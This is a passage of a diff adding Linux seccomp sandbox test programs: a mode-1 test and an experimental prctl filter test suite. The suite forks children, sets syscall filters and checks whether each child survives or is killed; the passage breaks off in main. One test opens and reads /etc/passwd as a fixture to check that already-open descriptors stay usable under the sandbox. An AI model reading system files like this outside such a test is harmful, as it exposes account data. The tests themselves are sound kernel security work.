#include <stdint.h>
|
||||
#include <inttypes.h>
|
||||
#include <sys/prctl.h>
|
||||
|
||||
int main(int argc, char * argv[])
|
||||
{
|
||||
FILE *passwd;
|
||||
FILE *zero;
|
||||
FILE *null;
|
||||
char buf[80];
|
||||
|
||||
if (!(zero=fopen("/dev/zero","r"))) {
|
||||
perror("/dev/zero");
|
||||
return 2;
|
||||
}
|
||||
printf("open /dev/zero ok\n");
|
||||
if (!(fgets(buf, 80, zero))) {
|
||||
perror("/dev/zero");
|
||||
return 3;
|
||||
}
|
||||
printf("read /dev/zero ok\n");
|
||||
|
||||
if (!(passwd=fopen("/etc/passwd","r"))) {
|
||||
perror("/etc/passwd");
|
||||
return 4;
|
||||
}
|
||||
printf("open /etc/passwd ok\n");
|
||||
if (!(fgets(buf, 80, passwd))) {
|
||||
perror("/etc/passwd");
|
||||
return 5;
|
||||
}
|
||||
printf("read /etc/passwd ok\n");
|
||||
|
||||
#ifdef PR_SET_SECCOMP
|
||||
if (prctl(PR_SET_SECCOMP,1,0,0,0)<0) {
|
||||
perror("prctl");
|
||||
}
|
||||
else {
|
||||
printf("set PR_SET_SECCOMP ok\n");
|
||||
}
|
||||
#else
|
||||
printf("PR_SET_SECCOMP not available\n");
|
||||
#endif
|
||||
|
||||
if (!(fgets(buf, 80, zero))) {
|
||||
perror("/dev/zero");
|
||||
return 6;
|
||||
}
|
||||
printf("continued reading /dev/zero ok\n");
|
||||
|
||||
if (!(fgets(buf, 80, passwd))) {
|
||||
perror("/etc/passwd");
|
||||
return 7;
|
||||
}
|
||||
printf("continued reading /etc/passwd ok\n");
|
||||
|
||||
printf("expecting SIGKILL next ...\n");
|
||||
fflush(NULL);
|
||||
|
||||
if (!(null=fopen("/dev/null","r"))) {
|
||||
/* should have gotten SIGKILL here */
|
||||
perror("/dev/null");
|
||||
return 8;
|
||||
}
|
||||
if (!(fgets(buf, 80, passwd))) {
|
||||
perror("/etc/passwd");
|
||||
return 9;
|
||||
}
|
||||
|
||||
fprintf(stderr,"No errors after PR_SET_SECCOMP!?\n");
|
||||
return 10;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
CFLAGS=-Wall -Werror -O2
|
||||
|
||||
EXECS=seccomp_tests
|
||||
|
||||
all: $(EXECS)
|
||||
|
||||
clean:
|
||||
rm -f $(EXECS)
|
Binary file not shown.
|
@ -0,0 +1,795 @@
|
|||
/* Copyright 2011, Will Drewry
|
||||
* License: BSD
|
||||
* update/adjusted by Kees Cook
|
||||
*/
|
||||
#define _GNU_SOURCE
|
||||
#include <assert.h>
|
||||
#include <errno.h>
|
||||
#include <asm/unistd.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <syscall.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <sys/prctl.h>
|
||||
|
||||
/* Get/set process seccomp mode */
|
||||
/* #define PR_GET_SECCOMP 21 */
|
||||
/* #define PR_SET_SECCOMP 22 */
|
||||
# define PR_SECCOMP_FILTER_SYSCALL 0
|
||||
# define PR_SECCOMP_FILTER_EVENT 1
|
||||
|
||||
/* Get/set process seccomp filters */
|
||||
#define PR_GET_SECCOMP_FILTER 35
|
||||
#define PR_SET_SECCOMP_FILTER 36
|
||||
#define PR_CLEAR_SECCOMP_FILTER 37
|
||||
|
||||
#if defined(__i386__) || defined(__x86_64__)
|
||||
|
||||
/* Cheat to deal with x86_64 syscall names */
|
||||
#ifndef __NR_fstat64
|
||||
# define __NR_fstat64 __NR_fstat
|
||||
#endif
|
||||
#ifndef __NR_mmap2
|
||||
# define __NR_mmap2 __NR_mmap
|
||||
#endif
|
||||
|
||||
int event_id = -1;
|
||||
|
||||
long add_filter(int nr, char *filter) {
|
||||
return prctl(PR_SET_SECCOMP_FILTER, PR_SECCOMP_FILTER_SYSCALL, nr, filter);
|
||||
}
|
||||
|
||||
long deny(int nr);
|
||||
long drop_filter(int nr, char *filter) {
|
||||
char foo[256];
|
||||
if (filter == NULL)
|
||||
return deny(nr);
|
||||
snprintf(foo, sizeof(foo), "!(%s)", filter);
|
||||
return add_filter(nr, foo);
|
||||
}
|
||||
|
||||
long allow(int nr) {
|
||||
return add_filter(nr, "1");
|
||||
}
|
||||
|
||||
long deny(int nr) {
|
||||
return prctl(PR_CLEAR_SECCOMP_FILTER, PR_SECCOMP_FILTER_SYSCALL, nr);
|
||||
}
|
||||
|
||||
long apply_filters(bool on_exec) {
|
||||
return prctl(PR_SET_SECCOMP, 13);
|
||||
}
|
||||
|
||||
/***** TESTS BEGIN ******/
|
||||
|
||||
int test_mode_one_ok(void) {
|
||||
long ret = prctl(PR_SET_SECCOMP, 1);
|
||||
syscall(__NR_exit, ret);
|
||||
return ret; /* never reached. */
|
||||
}
|
||||
|
||||
int test_mode_one_kill(void) {
|
||||
long ret = prctl(PR_SET_SECCOMP, 1);
|
||||
syscall(__NR_close, 0);
|
||||
return ret; /* never reached. */
|
||||
}
|
||||
|
||||
int test_add_filter_too_long(void) {
|
||||
long ret;
|
||||
char *f = malloc(8192);
|
||||
memset(f, 'A', 8192);
|
||||
ret = add_filter(__NR_exit, f);
|
||||
free(f);
|
||||
return !ret;
|
||||
}
|
||||
|
||||
int test_add_filter_too_short(void) {
|
||||
long ret;
|
||||
ret = add_filter(__NR_exit, "");
|
||||
return !ret;
|
||||
}
|
||||
|
||||
int test_add_filter_null(void) {
|
||||
long ret;
|
||||
ret = add_filter(__NR_exit, NULL);
|
||||
return !ret;
|
||||
}
|
||||
|
||||
int test_add_bool_apply(void) {
|
||||
long ret = allow(__NR_exit);
|
||||
ret |= apply_filters(false);
|
||||
if (ret) {
|
||||
printf("Failed to enter mode 2: %ld\n", ret);
|
||||
}
|
||||
/* Should live */
|
||||
syscall(__NR_exit, 0);
|
||||
return ret;
|
||||
}
|
||||
|
||||
#define noisy_allow(nr) \
|
||||
(allow(nr) ? printf("allow(" #nr ") failed!\n"), 1 : 0)
|
||||
|
||||
int test_keep_exec(void) {
|
||||
char * const argv[] = { "/proc/self/exe", "exec", NULL };
|
||||
int ret = noisy_allow(__NR_exit);
|
||||
ret |= noisy_allow(__NR_brk);
|
||||
ret |= noisy_allow(__NR_execve);
|
||||
ret |= noisy_allow(__NR_access);
|
||||
ret |= noisy_allow(__NR_uname);
|
||||
ret |= noisy_allow(__NR_open);
|
||||
ret |= noisy_allow(__NR_read);
|
||||
ret |= noisy_allow(__NR_fstat64);
|
||||
ret |= noisy_allow(__NR_mmap2);
|
||||
ret |= noisy_allow(__NR_close);
|
||||
ret |= noisy_allow(__NR_set_thread_area);
|
||||
ret |= noisy_allow(__NR_mprotect);
|
||||
ret |= noisy_allow(__NR_munmap);
|
||||
ret |= noisy_allow(__NR_prctl);
|
||||
if (ret)
|
||||
printf("something failed\n");
|
||||
ret = apply_filters(true);
|
||||
if (ret)
|
||||
syscall(__NR_exit, ret);
|
||||
execv(argv[0], argv);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_keep_exec_drop(void) {
|
||||
char * const argv[] = { "/proc/self/exe", "exec2", NULL };
|
||||
int ret = noisy_allow(__NR_exit);
|
||||
ret |= noisy_allow(__NR_brk);
|
||||
ret |= noisy_allow(__NR_execve);
|
||||
ret |= noisy_allow(__NR_access);
|
||||
ret |= noisy_allow(__NR_uname);
|
||||
ret |= noisy_allow(__NR_open);
|
||||
ret |= noisy_allow(__NR_read);
|
||||
ret |= noisy_allow(__NR_fstat64);
|
||||
ret |= noisy_allow(__NR_mmap2);
|
||||
ret |= noisy_allow(__NR_close);
|
||||
ret |= noisy_allow(__NR_set_thread_area);
|
||||
ret |= noisy_allow(__NR_mprotect);
|
||||
ret |= noisy_allow(__NR_munmap);
|
||||
ret |= noisy_allow(__NR_prctl);
|
||||
if (ret)
|
||||
printf("something failed\n");
|
||||
if (setresuid(1000, 1000, 1000)) {
|
||||
printf("Failed to drop root prior to apply\n");
|
||||
return 1;
|
||||
}
|
||||
ret = apply_filters(true);
|
||||
if (ret)
|
||||
syscall(__NR_exit, ret);
|
||||
execv(argv[0], argv);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_lose_exec(void) {
|
||||
long ret = allow(__NR_exit);
|
||||
char * const argv[] = { "/proc/self/exe", "exec", NULL };
|
||||
ret |= allow(__NR_brk);
|
||||
ret |= allow(__NR_execve);
|
||||
ret |= allow(__NR_access);
|
||||
ret |= allow(__NR_uname);
|
||||
ret |= allow(__NR_open);
|
||||
ret |= allow(__NR_read);
|
||||
ret |= allow(__NR_fstat64);
|
||||
ret |= allow(__NR_mmap2);
|
||||
ret |= allow(__NR_close);
|
||||
ret |= allow(__NR_set_thread_area);
|
||||
ret |= allow(__NR_mprotect);
|
||||
ret |= allow(__NR_munmap);
|
||||
ret |= allow(__NR_prctl);
|
||||
if (setresuid(1000, 1000, 1000)) {
|
||||
printf("Failed to drop root prior to apply\n");
|
||||
return 1;
|
||||
}
|
||||
ret |= apply_filters(true);
|
||||
if (ret)
|
||||
syscall(__NR_exit, ret);
|
||||
execv(argv[0], argv);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_bool_apply_drop(void) {
|
||||
long ret = allow(__NR_exit);
|
||||
ret |= allow(__NR_prctl);
|
||||
ret |= apply_filters(false);
|
||||
if (ret) {
|
||||
printf("Failed to enter mode 2: %ld\n", ret);
|
||||
}
|
||||
deny(__NR_prctl);
|
||||
/* Should live */
|
||||
syscall(__NR_exit, 0);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int test_add_bool_apply_drop_die(void) {
|
||||
long ret = allow(__NR_exit);
|
||||
ret |= allow(__NR_prctl);
|
||||
ret |= apply_filters(false);
|
||||
if (ret) {
|
||||
printf("Failed to enter mode 2: %ld\n", ret);
|
||||
}
|
||||
deny(__NR_exit);
|
||||
/* Should die */
|
||||
syscall(__NR_exit, 0);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int test_add_bool_apply_event(void) {
|
||||
//long ret = allow(__NR_exit);
|
||||
if (event_id == -1) {
|
||||
printf("could not read sys_enter_exit event id, skipping\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
long ret = prctl(PR_SET_SECCOMP_FILTER, PR_SECCOMP_FILTER_EVENT,
|
||||
event_id, "1");
|
||||
printf("set filter for exit with id %d: %ld %d\n", event_id, ret, errno);
|
||||
ret |= apply_filters(false);
|
||||
if (ret) {
|
||||
printf("Failed to enter mode 2: %ld\n", ret);
|
||||
}
|
||||
/* Should live */
|
||||
syscall(__NR_exit, 0);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int test_add_bool_apply_fail(void) {
|
||||
long ret = allow(__NR_exit);
|
||||
ret |= allow(__NR_close);
|
||||
ret |= allow(__NR_prctl);
|
||||
ret |= apply_filters(false);
|
||||
if (ret) {
|
||||
printf("Failed to enter mode 2: %ld\n", ret);
|
||||
}
|
||||
deny(__NR_close);
|
||||
allow(__NR_close);
|
||||
deny(__NR_prctl);
|
||||
/* Should die */
|
||||
syscall(__NR_close, 0);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int test_add_bool_on_exec_fail(void) {
|
||||
int status;
|
||||
pid_t pid;
|
||||
char * const argv[] = { "/proc/self/exe", "1", NULL };
|
||||
long ret = allow(__NR_brk);
|
||||
ret |= allow(__NR_access);
|
||||
ret |= allow(__NR_uname);
|
||||
ret |= allow(__NR_open);
|
||||
ret |= allow(__NR_read);
|
||||
ret |= allow(__NR_fstat64);
|
||||
ret |= allow(__NR_mmap2);
|
||||
ret |= allow(__NR_close);
|
||||
ret |= allow(__NR_set_thread_area);
|
||||
ret |= allow(__NR_mprotect);
|
||||
ret |= allow(__NR_munmap);
|
||||
ret |= apply_filters(true);
|
||||
if (ret) {
|
||||
printf("Failed to set all filters\n");
|
||||
return 1;
|
||||
}
|
||||
status = 0;
|
||||
pid = syscall(__NR_fork);
|
||||
if (pid == 0) {
|
||||
/* On exec applies _even_ if execv fails. */
|
||||
_exit(execv(argv[0], argv));
|
||||
}
|
||||
wait(&status);
|
||||
if (WIFSIGNALED(status) && WTERMSIG(status) == 9)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_bool_on_exec(void) {
|
||||
int status;
|
||||
pid_t pid;
|
||||
char * const argv[] = { "/proc/self/exe", "1", NULL };
|
||||
long ret = add_filter(__NR_brk, "1");
|
||||
ret |= add_filter(__NR_access, "1");
|
||||
ret |= add_filter(__NR_uname, "1");
|
||||
ret |= add_filter(__NR_open, "1");
|
||||
ret |= add_filter(__NR_read, "1");
|
||||
ret |= add_filter(__NR_fstat64, "1");
|
||||
ret |= add_filter(__NR_mmap2, "1");
|
||||
ret |= add_filter(__NR_close, "1");
|
||||
ret |= add_filter(__NR_set_thread_area, "1");
|
||||
ret |= add_filter(__NR_mprotect, "1");
|
||||
ret |= add_filter(__NR_munmap, "1");
|
||||
ret |= add_filter(__NR_exit, "1");
|
||||
ret |= apply_filters(true);
|
||||
if (ret) {
|
||||
printf("Failed to set all filters\n");
|
||||
return 1;
|
||||
}
|
||||
status = 0;
|
||||
pid = syscall(__NR_fork);
|
||||
if (pid == 0) {
|
||||
/* On exec applies _even_ if execv fails. Hrm. */
|
||||
_exit(execv(argv[0], argv));
|
||||
}
|
||||
wait(&status);
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 1)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_drop_bool_on_exec(void) {
|
||||
int status;
|
||||
pid_t pid;
|
||||
char * const argv[] = { "/proc/self/exe", "3", NULL };
|
||||
long ret = add_filter(__NR_brk, "1");
|
||||
ret |= add_filter(__NR_access, "1");
|
||||
ret |= add_filter(__NR_uname, "1");
|
||||
ret |= add_filter(__NR_open, "1");
|
||||
ret |= add_filter(__NR_read, "1");
|
||||
ret |= add_filter(__NR_fstat64, "1");
|
||||
ret |= add_filter(__NR_mmap2, "1");
|
||||
ret |= add_filter(__NR_close, "1");
|
||||
ret |= add_filter(__NR_set_thread_area, "1");
|
||||
ret |= add_filter(__NR_mprotect, "1");
|
||||
ret |= add_filter(__NR_munmap, "1");
|
||||
ret |= add_filter(__NR_prctl, "1");
|
||||
ret |= add_filter(__NR_exit, "1");
|
||||
ret |= apply_filters(true);
|
||||
if (ret) {
|
||||
printf("Failed to set all filters\n");
|
||||
return 1;
|
||||
}
|
||||
status = 0;
|
||||
pid = syscall(__NR_fork);
|
||||
if (pid == 0) {
|
||||
/* On exec applies _even_ if execv fails. Hrm. */
|
||||
execv(argv[0], argv);
|
||||
syscall(__NR_exit, 2);
|
||||
}
|
||||
wait(&status);
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 0)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_drop_bool_on_exec_fail(void) {
|
||||
int status;
|
||||
pid_t pid;
|
||||
char * const argv[] = { "/proc/self/exe", "2", NULL };
|
||||
long ret = add_filter(__NR_brk, "1");
|
||||
ret |= add_filter(__NR_access, "1");
|
||||
ret |= add_filter(__NR_uname, "1");
|
||||
ret |= add_filter(__NR_open, "1");
|
||||
ret |= add_filter(__NR_read, "1");
|
||||
ret |= add_filter(__NR_fstat64, "1");
|
||||
ret |= add_filter(__NR_mmap2, "1");
|
||||
ret |= add_filter(__NR_close, "1");
|
||||
ret |= add_filter(__NR_set_thread_area, "1");
|
||||
ret |= add_filter(__NR_mprotect, "1");
|
||||
ret |= add_filter(__NR_munmap, "1");
|
||||
ret |= add_filter(__NR_prctl, "1");
|
||||
ret |= add_filter(__NR_exit, "1");
|
||||
ret |= apply_filters(true);
|
||||
if (ret) {
|
||||
printf("Failed to set all filters\n");
|
||||
return 1;
|
||||
}
|
||||
status = 0;
|
||||
pid = syscall(__NR_fork);
|
||||
if (pid == 0) {
|
||||
/* On exec applies _even_ if execv fails. Hrm. */
|
||||
execv(argv[0], argv);
|
||||
syscall(__NR_exit, 2);
|
||||
}
|
||||
wait(&status);
|
||||
if (WIFSIGNALED(status) && WTERMSIG(status) == 9)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_bool_apply_get(void) {
|
||||
long ret = allow(__NR_exit);
|
||||
char buf[256];
|
||||
ret |= allow(__NR_prctl);
|
||||
ret |= allow(__NR_write);
|
||||
//ret |= apply_filters(false);
|
||||
if (ret) {
|
||||
printf("Failed to prepare filters: %ld\n", ret);
|
||||
}
|
||||
ret = prctl(PR_GET_SECCOMP_FILTER, PR_SECCOMP_FILTER_SYSCALL,
|
||||
__NR_write, buf, sizeof(buf) - 1);
|
||||
ret |= strcmp("1", buf);
|
||||
syscall(__NR_exit, ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int test_add_bool_apply_add(void) {
|
||||
long ret = allow(__NR_exit);
|
||||
ret |= allow(__NR_prctl);
|
||||
ret |= allow(__NR_write);
|
||||
ret |= apply_filters(false);
|
||||
if (ret) {
|
||||
printf("Failed to prepare filters: %ld\n", ret);
|
||||
}
|
||||
ret = allow(__NR_read);
|
||||
syscall(__NR_exit, !ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int test_add_ftrace_apply(void) {
|
||||
long ret = add_filter(__NR_exit, "error_code == 0");
|
||||
if (ret) {
|
||||
printf("Failed to set __NR_exit 'error_code == 0'; %ld\n", ret);
|
||||
perror("prctl");
|
||||
}
|
||||
ret |= apply_filters(false);
|
||||
/* Should live to tell the tale */
|
||||
syscall(__NR_exit, 0);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_ftrace_apply_fail(void) {
|
||||
long ret = add_filter(__NR_exit, "error_code == 1");
|
||||
ret |= apply_filters(false);
|
||||
/* Should die */
|
||||
syscall(__NR_exit, 2);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int test_add_ftrace_on_exec(void) {
|
||||
int status;
|
||||
pid_t pid;
|
||||
char * const argv[] = { "/proc/self/exe", "1", NULL };
|
||||
long ret = add_filter(__NR_brk, "1");
|
||||
ret |= add_filter(__NR_access, "1");
|
||||
ret |= add_filter(__NR_uname, "1");
|
||||
ret |= add_filter(__NR_open, "1");
|
||||
ret |= add_filter(__NR_read, "1");
|
||||
ret |= add_filter(__NR_fstat64, "1");
|
||||
ret |= add_filter(__NR_mmap2, "1");
|
||||
ret |= add_filter(__NR_close, "1");
|
||||
ret |= add_filter(__NR_set_thread_area, "1");
|
||||
ret |= add_filter(__NR_mprotect, "1");
|
||||
ret |= add_filter(__NR_munmap, "1");
|
||||
ret |= add_filter(__NR_exit, "error_code == 1");
|
||||
ret |= apply_filters(true);
|
||||
if (ret) {
|
||||
printf("Failed to use a filter\n");
|
||||
return ret;
|
||||
}
|
||||
status = 0;
|
||||
pid = syscall(__NR_fork);
|
||||
if (pid == 0) {
|
||||
/* On exec applies _even_ if execv fails. Hrm. */
|
||||
_exit(execv(argv[0], argv));
|
||||
}
|
||||
wait(&status);
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 1)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
||||
int test_add_ftrace_on_exec_fail(void) {
|
||||
int status;
|
||||
pid_t pid;
|
||||
char * const argv[] = { "/proc/self/exe", "1", NULL };
|
||||
long ret = add_filter(__NR_brk, "1");
|
||||
ret |= add_filter(__NR_access, "1");
|
||||
ret |= add_filter(__NR_uname, "1");
|
||||
ret |= add_filter(__NR_open, "1");
|
||||
ret |= add_filter(__NR_read, "1");
|
||||
ret |= add_filter(__NR_fstat64, "1");
|
||||
ret |= add_filter(__NR_mmap2, "1");
|
||||
ret |= add_filter(__NR_close, "1");
|
||||
ret |= add_filter(__NR_set_thread_area, "1");
|
||||
ret |= add_filter(__NR_mprotect, "1");
|
||||
ret |= add_filter(__NR_munmap, "1");
|
||||
ret |= add_filter(__NR_exit, "error_code == 0");
|
||||
ret |= apply_filters(true);
|
||||
if (ret) {
|
||||
printf("Failed to use a filter\n");
|
||||
return ret;
|
||||
}
|
||||
status = 0;
|
||||
pid = syscall(__NR_fork);
|
||||
if (pid == 0) {
|
||||
/* On exec applies _even_ if execv fails. Hrm. */
|
||||
_exit(execv(argv[0], argv));
|
||||
}
|
||||
wait(&status);
|
||||
if (WIFSIGNALED(status) && WTERMSIG(status) == 9)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_drop_ftrace_on_exec(void) {
|
||||
int status;
|
||||
pid_t pid;
|
||||
char * const argv[] = { "/proc/self/exe", "4", NULL };
|
||||
long ret = add_filter(__NR_brk, "1");
|
||||
ret |= add_filter(__NR_access, "1");
|
||||
ret |= add_filter(__NR_uname, "1");
|
||||
ret |= add_filter(__NR_open, "1");
|
||||
ret |= add_filter(__NR_read, "1");
|
||||
ret |= add_filter(__NR_fstat64, "1");
|
||||
ret |= add_filter(__NR_mmap2, "1");
|
||||
ret |= add_filter(__NR_close, "1");
|
||||
ret |= add_filter(__NR_set_thread_area, "1");
|
||||
ret |= add_filter(__NR_mprotect, "1");
|
||||
ret |= add_filter(__NR_munmap, "1");
|
||||
ret |= add_filter(__NR_prctl, "1");
|
||||
ret |= add_filter(__NR_exit, "error_code == 1");
|
||||
ret |= apply_filters(true);
|
||||
if (ret) {
|
||||
printf("Failed to set all filters\n");
|
||||
return 1;
|
||||
}
|
||||
status = 0;
|
||||
pid = syscall(__NR_fork);
|
||||
if (pid == 0) {
|
||||
/* On exec applies _even_ if execv fails. Hrm. */
|
||||
execv(argv[0], argv);
|
||||
syscall(__NR_exit, 2);
|
||||
}
|
||||
wait(&status);
|
||||
if (WIFEXITED(status) && WEXITSTATUS(status) == 1)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_drop_ftrace_on_exec_fail(void) {
|
||||
int status;
|
||||
pid_t pid;
|
||||
char * const argv[] = { "/proc/self/exe", "5", NULL };
|
||||
long ret = add_filter(__NR_brk, "1");
|
||||
ret |= add_filter(__NR_access, "1");
|
||||
ret |= add_filter(__NR_uname, "1");
|
||||
ret |= add_filter(__NR_open, "1");
|
||||
ret |= add_filter(__NR_read, "1");
|
||||
ret |= add_filter(__NR_fstat64, "1");
|
||||
ret |= add_filter(__NR_mmap2, "1");
|
||||
ret |= add_filter(__NR_close, "1");
|
||||
ret |= add_filter(__NR_set_thread_area, "1");
|
||||
ret |= add_filter(__NR_mprotect, "1");
|
||||
ret |= add_filter(__NR_munmap, "1");
|
||||
ret |= add_filter(__NR_prctl, "1");
|
||||
ret |= add_filter(__NR_exit, "error_code == 1");
|
||||
ret |= apply_filters(true);
|
||||
if (ret) {
|
||||
printf("Failed to set all filters\n");
|
||||
return 1;
|
||||
}
|
||||
status = 0;
|
||||
pid = syscall(__NR_fork);
|
||||
if (pid == 0) {
|
||||
/* On exec applies _even_ if execv fails. Hrm. */
|
||||
execv(argv[0], argv);
|
||||
syscall(__NR_exit, 2);
|
||||
}
|
||||
wait(&status);
|
||||
if (WIFSIGNALED(status) && WTERMSIG(status) == 9)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_drop_null_ftrace_on_exec_fail(void) {
|
||||
int status;
|
||||
pid_t pid;
|
||||
char * const argv[] = { "/proc/self/exe", "6", NULL };
|
||||
long ret = add_filter(__NR_brk, "1");
|
||||
ret |= add_filter(__NR_access, "1");
|
||||
ret |= add_filter(__NR_uname, "1");
|
||||
ret |= add_filter(__NR_open, "1");
|
||||
ret |= add_filter(__NR_read, "1");
|
||||
ret |= add_filter(__NR_fstat64, "1");
|
||||
ret |= add_filter(__NR_mmap2, "1");
|
||||
ret |= add_filter(__NR_close, "1");
|
||||
ret |= add_filter(__NR_set_thread_area, "1");
|
||||
ret |= add_filter(__NR_mprotect, "1");
|
||||
ret |= add_filter(__NR_munmap, "1");
|
||||
ret |= add_filter(__NR_prctl, "1");
|
||||
ret |= add_filter(__NR_exit, "error_code == 1");
|
||||
ret |= apply_filters(true);
|
||||
if (ret) {
|
||||
printf("Failed to set all filters\n");
|
||||
return 1;
|
||||
}
|
||||
status = 0;
|
||||
pid = syscall(__NR_fork);
|
||||
if (pid == 0) {
|
||||
/* On exec applies _even_ if execv fails. Hrm. */
|
||||
execv(argv[0], argv);
|
||||
syscall(__NR_exit, 2);
|
||||
}
|
||||
wait(&status);
|
||||
if (WIFSIGNALED(status) && WTERMSIG(status) == 9)
|
||||
return 0;
|
||||
return 1;
|
||||
}
|
||||
|
||||
int test_add_ftrace_apply_get(void) {
|
||||
char buf[256];
|
||||
long ret = allow(__NR_exit);
|
||||
ret |= allow(__NR_prctl);
|
||||
ret |= add_filter(__NR_write, "fd == 0 || fd == 1");
|
||||
ret |= apply_filters(false);
|
||||
if (ret) {
|
||||
printf("Failed to prepare filters: %ld\n", ret);
|
||||
}
|
||||
ret = prctl(PR_GET_SECCOMP_FILTER, PR_SECCOMP_FILTER_SYSCALL,
|
||||
__NR_write, buf, sizeof(buf) - 1);
|
||||
if (!ret)
|
||||
ret = strcmp("fd == 0 || fd == 1", buf);
|
||||
syscall(__NR_exit, ret);
|
||||
return -1;
|
||||
}
|
||||
|
||||
int test_add_ftrace_apply_append_get(void) {
|
||||
char buf[256];
|
||||
long ret = allow(__NR_exit);
|
||||
ret |= allow(__NR_prctl);
|
||||
ret |= add_filter(__NR_write, "fd == 0 || fd == 1");
|
||||
ret |= apply_filters(false);
|
||||
if (ret) {
|
||||
printf("Failed to prepare filters: %ld\n", ret);
|
||||
}
|
||||
ret = prctl(PR_SET_SECCOMP_FILTER, PR_SECCOMP_FILTER_SYSCALL, __NR_write, "fd != 0");
|
||||
ret |= prctl(PR_GET_SECCOMP_FILTER, PR_SECCOMP_FILTER_SYSCALL, __NR_write, buf, sizeof(buf) - 1);
|
||||
if (!ret)
|
||||
ret = strcmp("(fd == 0 || fd == 1) && (fd != 0)", buf);
|
||||
syscall(__NR_exit, ret);
|
||||
return ret;
|
||||
}
|
||||
|
||||
int test_add_drop_ftrace_proc(void) {
|
||||
int fd;
|
||||
char buf[1024];
|
||||
ssize_t bytes;
|
||||
long ret = add_filter(__NR_brk, "1");
|
||||
ret |= add_filter(__NR_access, "1");
|
||||
ret |= add_filter(__NR_uname, "1");
|
||||
ret |= add_filter(__NR_open, "1");
|
||||
ret |= add_filter(__NR_read, "1");
|
||||
ret |= add_filter(__NR_write, "fd == 1");
|
||||
ret |= add_filter(__NR_fstat64, "1");
|
||||
ret |= add_filter(__NR_mmap2, "1");
|
||||
ret |= add_filter(__NR_close, "1");
|
||||
ret |= add_filter(__NR_set_thread_area, "1");
|
||||
ret |= add_filter(__NR_mprotect, "1");
|
||||
ret |= add_filter(__NR_munmap, "1");
|
||||
ret |= add_filter(__NR_prctl, "option > 32 && option < 37");
|
||||
ret |= add_filter(__NR_exit, "error_code == 0 || error_code == 1");
|
||||
ret |= add_filter(__NR_exit, "error_code != 1");
|
||||
fd = open("/proc/self/seccomp_filter", O_RDONLY);
|
||||
ret |= apply_filters(true);
|
||||
bytes = read(fd, buf, sizeof(buf) - 1);
|
||||
if (write(1, "Read in:\n", 9) < 0 ||
|
||||
write(1, buf, bytes) < 0) {
|
||||
perror("write");
|
||||
return 1;
|
||||
}
|
||||
close(fd);
|
||||
syscall(__NR_exit, 0);
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
|
||||
/***** TESTS END ******/
|
||||
|
||||
#define RUN_TEST(_n, _k) RUN_TEST_IMPL(_n, _k, true)
|
||||
#define RUN_TEST_ROOT(_n, _k) RUN_TEST_IMPL(_n, _k, false)
|
||||
|
||||
#define RUN_TEST_IMPL(_name, _killed, _drop_root) \
|
||||
do { \
|
||||
int __ret = 1; \
|
||||
int status = 0; \
|
||||
pid_t __pid = syscall(__NR_fork); \
|
||||
\
|
||||
if (__pid < 0) \
|
||||
return -1; \
|
||||
if (__pid == 0) { \
|
||||
if (_drop_root) { \
|
||||
if (geteuid() == 0) { \
|
||||
if (setresuid(1000, 1000, 1000)) { \
|
||||
printf("setresuid call failed.\n"); \
|
||||
return -1; \
|
||||
} \
|
||||
} \
|
||||
} else { \
|
||||
if (geteuid() != 0) { \
|
||||
printf("Test expected root privileges.\n"); \
|
||||
return -1; \
|
||||
} \
|
||||
} \
|
||||
return test_##_name(); \
|
||||
} \
|
||||
wait(&status); \
|
||||
if (_killed && WIFSIGNALED(status) && WTERMSIG(status) == 9) \
|
||||
__ret = 0; \
|
||||
if (!_killed && WIFEXITED(status) && WEXITSTATUS(status) == 0) \
|
||||
__ret = 0; \
|
||||
printf("%s :: %s\n", (__ret ? "FAIL" : "PASS"), #_name); \
|
||||
if (__ret) { failed = 1; } \
|
||||
} while(0);
|
||||
|
||||
void read_event_id(void)
|
||||
{
|
||||
char buf[80];
|
||||
memset(buf, 0, sizeof(buf));
|
||||
FILE *idfp = fopen("/sys/kernel/debug/tracing/events/syscalls/sys_enter_exit/id", "r");
|
||||
if (!idfp || fread(buf, 1, sizeof(buf)-1, idfp)<1) {
|
||||
printf("WARNING: cannot read sys_enter_exit event id\n");
|
||||
if (idfp) fclose(idfp);
|
||||
return;
|
||||
}
|
||||
event_id = atoi(buf);
|
||||
fclose(idfp);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
int failed = 0;
|
||||
int rootonly = 0;
|
||||
if (argc > 1) {
|
||||
if (!strcmp(argv[1], "exec")) {
|
||||
char * const argvn[] = { "/proc/self/exe", "exit", NULL };
|
||||
deny(__NR_prctl);
|
||||
execv(argvn[0], argvn);
|
||||
syscall(__NR_exit, 0);
|
||||
} else if (!strcmp(argv[1], "exec2")) {
|
||||
